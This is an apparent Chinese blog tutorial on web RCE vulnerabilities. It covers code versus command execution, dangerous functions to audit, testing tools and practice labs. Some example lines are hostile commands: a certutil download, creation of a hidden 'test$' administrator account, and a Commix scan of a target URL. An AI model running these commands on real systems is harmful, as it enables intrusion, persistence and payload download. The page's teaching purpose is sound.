当前位置: 首页 > news >正文

web渗透之RCE漏洞

 

 

 

 

 

 

 

 

web渗透RCE漏洞
1)RCE漏洞
RCE(Remote Code Execution,远程代码执行)漏洞是 web 安全中危害极高的漏洞类型,攻击者可通过该漏洞在目标服务器上执行未授权的代码或系统命令,直接控制服务器。其主要分为代码执行和命令执行两类代码执行和命令执行
代码执行
目标应用未对用户输入进行严格过滤,导致攻击者输入的恶意代码被应用 “当作自身代码” 执行(如 PHP 的eval()、Python 的exec())
phpinfo();

命令执行
目标应用调用了系统命令执行函数(如 PHP 的system()、exec(),Java 的Runtime.getRuntime().exec()),且用户输入未过滤,导致攻击者可拼接恶意系统命令
certutil.exe -urlcache -split -f [URL] output.file
whoami
net user test$ admin /add
net localgroup administrators test$ /add

黑盒查看漏洞
功能提示可以看到,看功能有没有执行的应用,优先测试具有 “执行逻辑” 的功能模块
例如:
系统工具调用:如 “在线文件转换”(可能调用ffmpeg等命令)、“IP 查询”(可能调用ping命令)、“日志分析”(可能调用grep/findstr命令);
第三方组件交互:如 “邮件发送”(可能调用系统sendmail命令)、“PDF 生成”(可能调用wkhtmltopdf命令);
自定义执行入口:如 “后台命令行工具”“脚本执行接口”(常见于内部管理系统)。


白盒代码审计
白盒审计通过分析源码中 “危险函数” 的调用逻辑,判断是否存在未过滤的用户输入,核心是 “定位危险函数 + 检查输入过滤”
在代码中搜索特定函数如eavl造成rce漏洞代码执行漏洞,system命令执行漏洞

代码执行漏洞关键函数:不同语言对应不同的危险函数,需重点搜索:
PHP:eval()、assert()、preg_replace()(带/e修饰符)、create_function()、array_map()(回调参数可控);

Python:exec()、eval()、execfile()、compile()(参数可控);

Java:Runtime.getRuntime().exec()、ProcessBuilder(命令参数可控);

Node.js:eval()、new Function()、exec()(child_process模块)。

命令执行漏洞关键函数:重点关注 “调用系统命令” 的函数,例如:
PHP:system()、exec()、shell_exec()、passthru()、proc_open();

Python:os.system()、os.popen()、subprocess.call()(参数未拼接过滤);

Java:Runtime.getRuntime().exec()(命令未拆分,直接拼接用户输入)。
审计逻辑:找到危险函数后,追溯其参数来源 —— 若参数直接或间接包含 “用户可控输入”(如$_GET/$_POST参数、Cookie、HTTP 头),且未经过 “严格过滤”(如仅过滤rm/del等危险命令,未过滤命令拼接符),则存在 RCE 漏洞。


2)RCE检查方法
RCE 漏洞检查需结合 “黑盒测试” 和 “白盒审计”,同时覆盖 “手动测试” 和 “自动化扫描”,确保无遗漏。


3)RCE工具
Burp Suite中Intruder模块批量测试不同 payload
Commix自动化检测命令注入漏洞,python commix.py -u "http://target.com/ping?ip=127.0.0.1"
Seay源代码审计系统,自动扫描 PHP 源码中的危险函数(eval()、system()


4)RCE 漏洞练习靶场
DVWA 靶场:包含 Low 到 High 不同难度的 RCE 漏洞场景(命令执行、代码执行),清晰展示防护绕过思路,适合入门学习
Pikachu 靶场:提供中文界面的 RCE 漏洞演示环境,覆盖 PHP/Java/Python 代码执行、ping 测试等命令注入案例,对新手友好
VulnHub 靶场:基于虚拟机的实战环境,需通过 “RCE 利用→权限提升→获取 flag” 完整流程,贴近真实渗透场景
Hack The Box(HTB)- Starting Point:在线靶场基础模块,模拟企业环境中的 RCE 漏洞(如 Log4j、配置不当),适合熟悉真实场景
CTF Show - Web 模块:包含多个 CTF 风格的 RCE 挑战(框架漏洞利用、命令过滤绕过),适合提升实战解题能力
实战漏洞环境:可通过 Docker(如 vulfocus/log4j2-rce)或手动部署旧框架(如 Struts2 2.3.34),复现 Log4j、Struts2 等真实 RCE 漏洞

 

http://www.dtcms.com/a/359026.html

相关文章:

  • 针对 “TCP 会话维持与身份验证” 的攻击
  • (二)设计模式(Command)
  • SQL Server 临时表合并与数量汇总的实现方法
  • 大模型不听话?试试提示词微调
  • “可选功能“中找不到 OpenSSH, PowerShell 命令行来安装OpenSSH
  • windows 谷歌浏览器一直提示无法更新Chrome弹窗问题彻底解决
  • Learning Curve|学习曲线
  • 数据库攻略:“CMU 15-445”Project0:C++ Primer(2024 Fall)
  • 【开题答辩全过程】以 “与我同行”中华传统历史数字化平台的设计和分析-------为例,包含答辩的问题和答案
  • Linux软件定时器回顾
  • 本地部署开源媒体服务器 Komga 并实现外部访问( Windows 版本)
  • 容器存储驱动升级:美国VPS文件系统优化全指南
  • 上海我店模式的多维度探究
  • 对于STM32工程模板
  • CRM、ERP、HRP系统有啥区别?
  • 250830-Docker从Rootless到Rootful的Gitlab镜像迁移
  • 深刻理解软硬件链接
  • ubuntu24.04 qt6安装
  • 学习游戏制作记录(各种优化)
  • 复制VMware虚拟机后的网络配置
  • leetcode算法刷题的第二十二天
  • 论《运动战》
  • Linux查看有线网卡和无线网卡详解
  • UNet改进(36):融合FSATFusion的医学图像分割
  • Vue基础知识-单向绑定v-bind、双向绑定v-model、插值语法{{}}、Object.defineProperty实现数据代理
  • PostgreSQL数据类型一览(数值类型)
  • Spring和mybatis整合后事务拦截器TransactionInterceptor开启提交事务流程
  • 【Java实战⑧】Java常用类实战:解锁String、Object与包装类的奥秘
  • STL中的容器,迭代器
  • 规律作息 + 养成好的习惯 + 考研倒计时 111 天 + 线面积分入门 1 下半部分